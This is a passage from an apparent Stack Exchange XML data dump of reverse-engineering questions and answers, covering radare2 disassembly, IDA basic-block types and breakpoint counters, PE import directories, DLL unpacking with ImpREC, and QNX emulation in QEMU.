00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 F0 10 03 8E 0C &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 ED 10 03 4D &#xA;90 00 00 00 10 02 F4 &#xA;02 28 00 00 EA 10 03 &#xA;3D 77 00 00 00 10 02 &#xA;F4 02 28 00 00 E7 10 &#xA;03 EC DA 00 00 00 10 &#xA;02 F4 02 28 00 00 E4 &#xA;10 03 DC B9 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;E1 10 03 8C 1C 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 DE 10 03 4B A0 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 DB 10 03 1B 05 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 D8 10 03 2B &#xA;66 00 00 00 10 02 F4 &#xA;02 28 00 00 D5 10 03 &#xA;FA CB 00 00 00 10 02 &#xA;F4 02 28 00 00 D3 10 &#xA;03 9A 0D 00 00 00 10 &#xA;02 F4 02 28 00 00 D0 &#xA;10 03 AA 6E 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;CD 10 03 69 F2 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 CA 10 03 19 15 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 C7 10 03 C8 B8 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 C4 10 03 F8 &#xA;DB 00 00 00 10 02 F4 &#xA;02 28 00 00 C1 10 03 &#xA;A8 7E 00 00 00 10 02 &#xA;F4 02 28 00 00 BE 10 &#xA;03 27 06 00 00 00 10 &#xA;02 F4 02 28 00 00 BB &#xA;10 03 77 A3 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;B8 10 03 47 C0 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 B5 10 03 96 6D 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 B2 10 03 E6 8A &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 AF 10 03 25 &#xA;16 00 00 00 10 02 F4 &#xA;02 28 00 00 AC 10 03 &#xA;15 75 00 00 00 10 02 &#xA;F4 02 28 00 00 A9 10 &#xA;03 45 D0 00 00 00 10 &#xA;02 F4 02 28 00 00 A6 &#xA;10 03 B4 3F 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;A3 10 03 E4 9A 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 A0 10 03 D4 F9 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 9D 10 03 33 07 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 9A 10 03 43 &#xA;E0 00 00 00 10 02 F4 &#xA;02 28 00 00 94 10 03 &#xA;A2 2E 00 00 00 10 02 &#xA;F4 02 28 00 00 91 10 &#xA;03 F2 8B 00 00 00 10 &#xA;02 F4 02 28 00 00 8E &#xA;10 03 11 55 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;8B 10 03 41 F0 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 88 10 03 71 93 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 85 10 03 A0 3E &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 82 10 03 D0 &#xA;D9 00 00 00 10 02 F4 &#xA;02 28 00 00 7F 10 03 &#xA;EE 6B 00 00 00 10 02 &#xA;F4 02 28 00 00 7D 10 &#xA;03 CE 29 00 00 00 10 &#xA;02 F4 02 28 00 00 7A &#xA;10 03 BE CE 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;77 10 03 6F 63 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 74 10 03 5F 00 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 71 10 03 0F A5 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 6E 10 03 EC &#xA;7B 00 00 00 10 02 F4 &#xA;02 28 00 00 6B 10 03 &#xA;BC DE 00 00 00 10 02 &#xA;F4 02 28 00 00 68 10 &#xA;03 8C BD 00 00 00 10 &#xA;02 F4 02 28 00 00 65 &#xA;10 03 5D 10 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;62 10 03 2D F7 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 5F 10 03 CA 09 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 5C 10 03 FA 6A &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 59 10 03 AA &#xA;CF 00 00 00 10 02 F4 &#xA;02 28 00 00 56 10 03 &#xA;5B 20 00 00 00 10 02 &#xA;F4 02 28 00 00 53 10 &#xA;03 0B 85 00 00 00 10 &#xA;02 F4 02 28 00 00 50 &#xA;10 03 3B E6 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;4D 10 03 F8 7A 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 4A 10 03 88 9D 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 47 10 03 59 30 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 44 10 03 69 &#xA;53 00 00 00 10 02 F4 &#xA;02 28 00 00 41 10 03 &#xA;39 F6 00 00 00 10 02 &#xA;F4 02 28 00 00 3E 10 &#xA;03 B6 8E 00 00 00 10 &#xA;02 F4 02 28 00 00 3B &#xA;10 03 E6 2B 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;38 10 03 D6 48 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 35 10 03 07 E5 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 32 10 03 77 02 &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 2F 10 03 B4 &#xA;9E 00 00 00 10 02 F4 &#xA;02 28 00 00 2C 10 03 &#xA;84 FD 00 00 00 10 02 &#xA;F4 02 28 00 00 2A 10 &#xA;03 E4 3B 00 00 00 10 &#xA;02 F4 02 28 00 00 27 &#xA;10 03 35 96 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;24 10 03 05 F5 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 21 10 03 55 50 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 1E 10 03 92 EC &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 1B 10 03 C2 &#xA;49 00 00 00 10 02 F4 &#xA;02 28 00 00 18 10 03 &#xA;F2 2A 00 00 00 10 02 &#xA;F4 02 28 00 00 15 10 &#xA;03 23 87 00 00 00 10 &#xA;02 F4 02 28 00 00 12 &#xA;10 03 53 60 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;0F 10 03 90 FC 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 0C 10 03 A0 9F 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 09 10 03 F0 3A &#xA;00 00 00 10 02 F4 02 &#xA;28 00 00 06 10 03 01 &#xA;D5 00 00 00 10 02 F4 &#xA;02 28 00 00 03 10 03 &#xA;51 70 00 00 00 10 02 &#xA;F4 02 28 00 00 00 10 &#xA;03 61 13 00 00 00 10 &#xA;02 F4 02 28 00 00 01 &#xA;10 03 71 32 00 00 00 &#xA;10 02 F4 02 28 00 00 &#xA;00 10 03 61 13 00 00 &#xA;00 10 02 F4 02 28 00 &#xA;00 FE 10 03 6F C2 00 &#xA;00 00 10 02 F4 02 28 &#xA;00 00 FF FF 10 03 7F &#xA;E3 00 00 00 10 02 F4 &#xA;02 28 00 00 01 10 03 &#xA;71 32 00 00 00 10 02 &#xA;F4 02 28 00 00 00 10 &#xA;03 61 13 00 00 00 10 &#xA;02 F4 02 00 00 00 10 &#xA;03 5B 38 00 00 00 10 &#xA;02 F4 02 20 00 00 10 &#xA;03 DD FE&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2015-03-26T20:58:48.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8568" PostTypeId="1" CreationDate="2015-03-26T23:05:18.340" Score="10" ViewCount="13229" Body="&lt;p&gt;It's easy to seek to a particular function and dump it's contents as Assembly language. However, I cannot find an obvious way to immediately disassemble and dump an &lt;strong&gt;entire&lt;/strong&gt; binary. I want to use it more like I use IDA and &lt;code&gt;objdump&lt;/code&gt; by seeing the entire disassembly at once. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="22669" LastEditDate="2018-11-10T10:25:45.320" LastActivityDate="2018-11-10T14:47:08.347" Title="How do you can you disassemble and dump an entire binary?" Tags="|binary-analysis|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8569" PostTypeId="2" ParentId="8568" CreationDate="2015-03-27T00:05:36.757" Score="3" Body="&lt;p&gt;If you want more like an Ida experience you could try the GUI project for Radare called Bokken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/bokken&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/bokken&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: it seems to have been superseded by the &lt;a href=&quot;https://github.com/radareorg/cutter&quot; rel=&quot;nofollow noreferrer&quot;&gt;cutter&lt;/a&gt; project.&lt;/p&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="18317" LastEditDate="2018-11-10T14:47:08.347" LastActivityDate="2018-11-10T14:47:08.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8570" PostTypeId="1" AcceptedAnswerId="8575" CreationDate="2015-03-27T08:26:43.000" Score="4" ViewCount="1310" Body="&lt;p&gt;IDA Pro's &lt;code&gt;idaapi.BasicBlock&lt;/code&gt; objects returned by &lt;code&gt;idaapi.FlowChart()&lt;/code&gt; can be of the following types (see &lt;code&gt;gdl.hpp&lt;/code&gt; in the SDK sources):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// flow chart block types&#xA;enum fc_block_type_t&#xA;{&#xA;  fcb_normal,    // normal block&#xA;  fcb_indjump,   // block ends with indirect jump&#xA;  fcb_ret,       // return block&#xA;  fcb_cndret,    // conditional return block&#xA;  fcb_noret,     // noreturn block&#xA;  fcb_enoret,    // external noreturn block (does not belong to the function)&#xA;  fcb_extern,    // external normal block&#xA;  fcb_error,     // block passes execution past the function end&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to find examples for all types except &lt;code&gt;fcb_cndret&lt;/code&gt;. What does &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;conditional return block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;mean? Could somebody give an example?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2021-02-23T09:51:34.973" Title="IDA basic block type fcb_cndret - what does it mean?" Tags="|ida|disassembly|idapython|idapro-sdk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8571" PostTypeId="2" ParentId="8328" CreationDate="2015-03-27T08:33:48.110" Score="5" Body="&lt;p&gt;After some research I think that I can add some explanations from a theoretical perspective. Note that my discussion is restricted to stripped (no debug information) executables. We know that several kinds of data can be mixed with code in executables including padding bytes and &lt;strong&gt;switch&lt;/strong&gt; jump address calculations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to separate date from code we need to &lt;em&gt;precisely&lt;/em&gt; extract the bytes that belong to the code and by that we can assume that the rest of the bytes belong to data. The main challenge in &lt;em&gt;precisely&lt;/em&gt; extracting code starting from a well-known entry point is indirect jumps i.e. control flow redirection to memory addresses that are computed at run-time. DarthZirka mentioned a few examples including switch tables, function pointers, and vtables in C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An analysis that can precisely solve indirect jumps statically (without running the program) can also solve the halting problem which is known to be undecidable. This result has been established since late 70's when work on disassembly started to gain ground in Academia, I can refer to the following early paper for further details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;R.N. Horspool and N. Marovac. &lt;strong&gt;An approach to the problem&#xA;  of detranslation of computer programs&lt;/strong&gt;. The Computer&#xA;  Journal, 23(3):223-229, 1979.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on that, the problem of precisely determining addresses of indirect jumps is also undecidable in general. Therefore, &lt;strong&gt;any&lt;/strong&gt; approach to disassembly shall be based on heuristics like recognizing common compiler idioms and/or over(under) approximating the set of addresses reachable from an indirect jump. The later is usually done by static analysis based on the framework of abstract interpretation. Variable size instructions in X86 can make things harder (a more loose overapproximation) compared to ARM but the essential problem still exists. &lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="11828" LastEditDate="2015-03-27T08:40:50.117" LastActivityDate="2015-03-27T08:40:50.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8572" PostTypeId="1" CreationDate="2015-03-27T08:39:56.887" Score="2" ViewCount="1153" Body="&lt;p&gt;I'm looking for a way to found out how many times instruction at specified address was executed before break point hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some standard way? I cannot found this in its interface.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2019-06-09T22:57:48.090" Title="IDA Pro debugger hit counter" Tags="|ida|debuggers|hit-counter|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8573" PostTypeId="5" CreationDate="2015-03-27T08:41:46.280" Score="0" Body="&lt;p&gt;Debugger functionality that allows to count how many times some piece of code was executed.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-03-29T18:52:02.117" LastActivityDate="2015-03-29T18:52:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8574" PostTypeId="4" CreationDate="2015-03-27T08:41:46.280" Score="0" Body="Debugger functionality that allows to count how many times some piece of code was executed." OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-03-29T18:51:48.070" LastActivityDate="2015-03-29T18:51:48.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8575" PostTypeId="2" ParentId="8570" CreationDate="2015-03-27T09:21:00.827" Score="5" Body="&lt;p&gt;I don't know it either so I put together this small script in order to do some &lt;em&gt;empirical&lt;/em&gt; analysis. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;import idautils&#xA;&#xA;for f in Functions():&#xA;    fc = idaapi.FlowChart(idaapi.get_func(f))&#xA;    for bb in fc:&#xA;        if bb.type == 3:&#xA;            print &quot;%x type: %d&quot; % (bb.startEA, bb.type)&#xA;&#xA;print &quot;Done&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I throw it to several x86 and x86_64 binaries &lt;em&gt;without results&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it could be that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This kind of block appears very rarely&lt;/li&gt;&#xA;&lt;li&gt;It appears only in other architectures (I didn't have any ARM or MIPS in this computer to test, sorry)&lt;/li&gt;&#xA;&lt;li&gt;The enum field is reserved for future use&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just my two cents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it with an ARM binary and found a couple of them.&#xA;Apparently these are blocks in which a &lt;em&gt;conditional&lt;/em&gt; instruction modifies the &lt;em&gt;PC&lt;/em&gt; register (see screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxFoI.png&quot; alt=&quot;fcb_cndret basic blocks in ARM binary&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditDate="2015-03-27T09:55:07.323" LastActivityDate="2015-03-27T09:55:07.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8576" PostTypeId="2" ParentId="8572" CreationDate="2015-03-27T10:16:48.400" Score="4" Body="&lt;p&gt;Disclaimer: I don't have IDA available to try it out right now, so a detail might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add some code to the breakpoint condition. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern bpcount;&#xA;bpcount++;&#xA;Message(form(&quot;%d. hit\n&quot;), bpcount);&#xA;return (bpcount&amp;gt;500);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will increment the count each time the breakpoint is it, but only break the program after more than 500 hits. Replace the return instruction with &lt;code&gt;return 0&lt;/code&gt; if you never want to break, or &lt;code&gt;return 1&lt;/code&gt; if you always want to break.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-03-27T18:51:53.847" LastActivityDate="2015-03-27T18:51:53.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8577" PostTypeId="1" AcceptedAnswerId="8578" CreationDate="2015-03-27T16:01:04.260" Score="1" ViewCount="279" Body="&lt;p&gt;Currently I am learning about profiling parallel programs. All the profilers heavily use all kinds of instrumentations but this topic is not well explained. Do you know any good sources from which I could learn about instrumentation (static, binary, dynamic)?&lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2015-03-28T06:21:04.120" Title="Where can I learn about code instrumentation?" Tags="|binary-analysis|static-analysis|dynamic-analysis|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8578" PostTypeId="2" ParentId="8577" CreationDate="2015-03-27T17:06:09.230" Score="4" Body="&lt;p&gt;Before jumping straight to interesting articles and sources I'll start by defining the key words, just in case.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Static analysis :&lt;/strong&gt; consists in analyzing the target binary file without executing it. Hence the &lt;code&gt;static&lt;/code&gt;. Such analysis can be used in order to build a first draft of the application's &lt;strong&gt;Control Flow Graph&lt;/strong&gt;, &lt;strong&gt;Call Graph&lt;/strong&gt;, ...&#xA;For example, building the &lt;strong&gt;CFG&lt;/strong&gt; consists of cutting the code into &lt;em&gt;basic blocks&lt;/em&gt; and then linking them using the branch targets (if they're not indirect branches). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic analysis :&lt;/strong&gt; consists in inserting probes (function calls) around key areas of the binary, running the binary and dumping the probes' results. Such probes can be &lt;strong&gt;rdtsc&lt;/strong&gt; instructions on x86, or any other hardware counter.&#xA;For example, dynamic analysis is used by &lt;strong&gt;Gprof&lt;/strong&gt; to assess the amount of time spent in each function. Many other profilers such as &lt;strong&gt;VTune&lt;/strong&gt;, &lt;strong&gt;MAQAO&lt;/strong&gt;, &lt;strong&gt;DynInst&lt;/strong&gt;, ... use dynamic analysis to locate hotspots.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both of these analyses can be applied to a binary file (meaning an executable program), and that's what we call binary analysis.&#xA;On the other hand, static analysis can be applied on source code as well as binary. &lt;a href=&quot;http://en.wikipedia.org/wiki/Lint_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Lint&lt;/a&gt;, for example, performs static analysis in order to find buggy code constructs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There aren't many detailed references I can cite, rather a set of scientific publications which span the use and benefits of those techniques, along with some interesting algorithms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For static analysis I would recommend this collection of articles : &lt;a href=&quot;http://www.springer.com/fr/book/9783642388552?cm_mmc=EVENT-_-BookAuthorEmail-_-&amp;amp;wt_mc=event.BookAuthor.Congratulation&quot; rel=&quot;nofollow&quot;&gt;Static Analysis 20th International Symposium, SAS 2013, Seattle, WA, USA, June 20-22, 2012, Proceedings.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For dynamic analysis I would recommend you going through the publications around of &lt;a href=&quot;http://maqao.org/&quot; rel=&quot;nofollow&quot;&gt;MAQAO&lt;/a&gt;, &lt;a href=&quot;http://www.dyninst.org/&quot; rel=&quot;nofollow&quot;&gt;DynInst&lt;/a&gt;, &lt;a href=&quot;https://silc.zih.tu-dresden.de/scorep-current/html/&quot; rel=&quot;nofollow&quot;&gt;ScoreP&lt;/a&gt;, and &lt;a href=&quot;https://www.cs.uoregon.edu/research/tau/news.php&quot; rel=&quot;nofollow&quot;&gt;TAU&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2015-03-28T06:21:04.120" LastActivityDate="2015-03-28T06:21:04.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8579" PostTypeId="2" ParentId="8526" CreationDate="2015-03-27T18:49:32.613" Score="0" Body="&lt;p&gt;If you have access to the model, pickup a cheep JTAG interface, and get hacking.&#xA;Now If that's not possible, I'd check out QEMU for vitalizing the firmware.&#xA;and getting a shell to play with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend checking out devttys0 blog series &quot;exploiting embedded systems&quot; parts 1 to 4.&#xA;&lt;a href=&quot;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In part 4 he's using QEMU as an exploit dev environment. Great stuff! &lt;/p&gt;&#xA;" OwnerUserId="12015" LastActivityDate="2015-03-27T18:49:32.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8581" PostTypeId="2" ParentId="8564" CreationDate="2015-03-28T01:03:46.583" Score="0" Body="&lt;p&gt;In the case of linux, debuggers typically use the ptrace API to inspect and modify the process space of the process being debugged. And no, they do not share the address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, dynamic binary instrumentation frameworks such as PIN do involve inserting itself into the process space of the binary being instrumented.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-03-28T01:03:46.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8582" PostTypeId="1" AcceptedAnswerId="8583" CreationDate="2015-03-28T12:10:34.103" Score="0" ViewCount="75" Body="&lt;p&gt;During RCE of a piece of code, I have found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    loc_40244F:&#xA;    mov eax, [ebx+20h]&#xA;    add ebx, 14h&#xA;    test eax, eax&#xA;    jnz loc_402397&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I know is that ebx points to the import directory structure of the considered PE file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I look at it, I see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     Import Directory&#xA;     +0 DWORD   OriginalFirstThunk; &#xA;      4 DWORD   TimeDateStamp;&#xA;      8 DWORD   ForwarderChain; &#xA;      c DWORD   Name;&#xA;     10 DWORD   FirstThunk;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to which location is the [ebx+20h] expression pointing ?&#xA;I hope somebody can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-03-30T09:19:15.833" Title="Target of offset into import directory unclear" Tags="|assembly|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8583" PostTypeId="2" ParentId="8582" CreationDate="2015-03-28T14:24:32.260" Score="2" Body="&lt;p&gt;If &lt;code&gt;ebx&lt;/code&gt; really points to an &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;, then [ebx+20h] points to the &lt;code&gt;name&lt;/code&gt; field of the next &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebx+20h] ;  0x20 = 0x14 + 0xc &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 0x14 is &lt;code&gt;sizeof(IMAGE_IMPORT_DESCRIPTOR)&lt;/code&gt; and 0x0c is &lt;code&gt;offsetof(IMAGE_IMPORT_DESCRIPTOR, Name)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, remember that the last &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; is always an &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; with all fields set to 0 (according to the &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;nofollow&quot;&gt;official PE documentation&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The last directory entry is empty (filled with null values), which&#xA;  indicates the end of the directory table&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As noted by @peterferrie, if the &lt;code&gt;Name&lt;/code&gt; field is NULL/0 then the other field are meaningless so your code is checking if the next &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; is the last, so it can stop processing the array of &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could surely test this by checking the value in &lt;code&gt;eax&lt;/code&gt; and comparing it to the value in an hex editor or a PE browsing tool.&lt;/p&gt;&#xA;" OwnerUserId="4702" LastEditorUserId="4702" LastEditDate="2015-03-30T09:19:15.833" LastActivityDate="2015-03-30T09:19:15.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8584" PostTypeId="1" AcceptedAnswerId="8585" CreationDate="2015-03-28T17:13:17.470" Score="3" ViewCount="5399" Body="&lt;p&gt;I am trying to unpack a DLL and fix the import tables with ImpRec. However, I am stuck with this error.  Following is what I have tried. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Modified the flag in its PE header so that windows loads the file as an exe, not a dll. &lt;/li&gt;&#xA;&lt;li&gt;Loaded to Immunity Debugger and found the real entry point(Entry point of unpacked binary)&lt;/li&gt;&#xA;&lt;li&gt;Dumped the the binary at this entry point.&lt;/li&gt;&#xA;&lt;li&gt;Now I opened ImpREC to fix the import table of the of the dumped DLL. However, in ImpREC the base memory displayed is 7100000. When I give &quot;068BA2A0&quot; as entry point, ImpRec complaints invalid OEP!. I dont understand how the base address of the debugged process is &quot;7100000&quot;. I suspect this could be the problem.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X3C6W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this error? Any pointers to fix it? &lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="2147" LastEditDate="2016-10-23T20:38:23.377" LastActivityDate="2016-10-23T20:38:23.377" Title="Fixing import table of unpacked DLL with ImpREC : ImpRec throws &quot;invalid OEP!&quot; error" Tags="|dll|unpacking|immunity-debugger|dumping|import-reconstruction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8585" PostTypeId="2" ParentId="8584" CreationDate="2015-03-28T18:14:09.820" Score="1" Body="&lt;p&gt;Your analysis machine is Windows 7, ASLR is modifying your module base addresses between different executions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try calculating the offset to your OEP (that is, address - base) and using this value to calculate OEP address with the new base (base2 + offset)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-03-28T18:14:09.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8588" PostTypeId="1" CreationDate="2015-03-29T14:37:50.867" Score="2" ViewCount="1526" Body="&lt;p&gt;I have spent some time reverse engineering a QNX 6.5.0 based system. I am pretty new to the Linux (Ubuntu) world and definitely new to QNX, Qemu, and embedded systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the hardware is fairly closed, the closest I could use is a Beagleboard-XM.   Since I didn't want to purchase one, I decided to use Qemu.   I have set it all up using the Linaro builds, etc.   I have a system booting.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that I cannot, for the life of me, get the emulated QNX system to show a USB drive.  I am using Ubuntu 14.04 LTS and am booting from an SD card.  I don't card if I can actually load a USB drive, but it seems like the simplest solution to be able to get files off the QNX system.   I have tried quite a bit.   I am unable to get networking up and running and am unable to get QNX to recognize any devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my working Qemu command line (version 1.7.0 (qemu-linaro 2014.01))&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-arm -M beaglexm -m 512 -serial stdio \&#xA;                     -nographic -monitor pty -usb -sd /dev/mmcblk0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried tons of command lines with &lt;code&gt;-device&lt;/code&gt;, &lt;code&gt;-drive&lt;/code&gt;, etc, etc.  For example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing.   One thing to note is that I have attempted to use the EHCI bus but am unable to get that working because I keep getting a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-arm: -device usb-ehci,id=ehci: No 'PCI' bus found for device 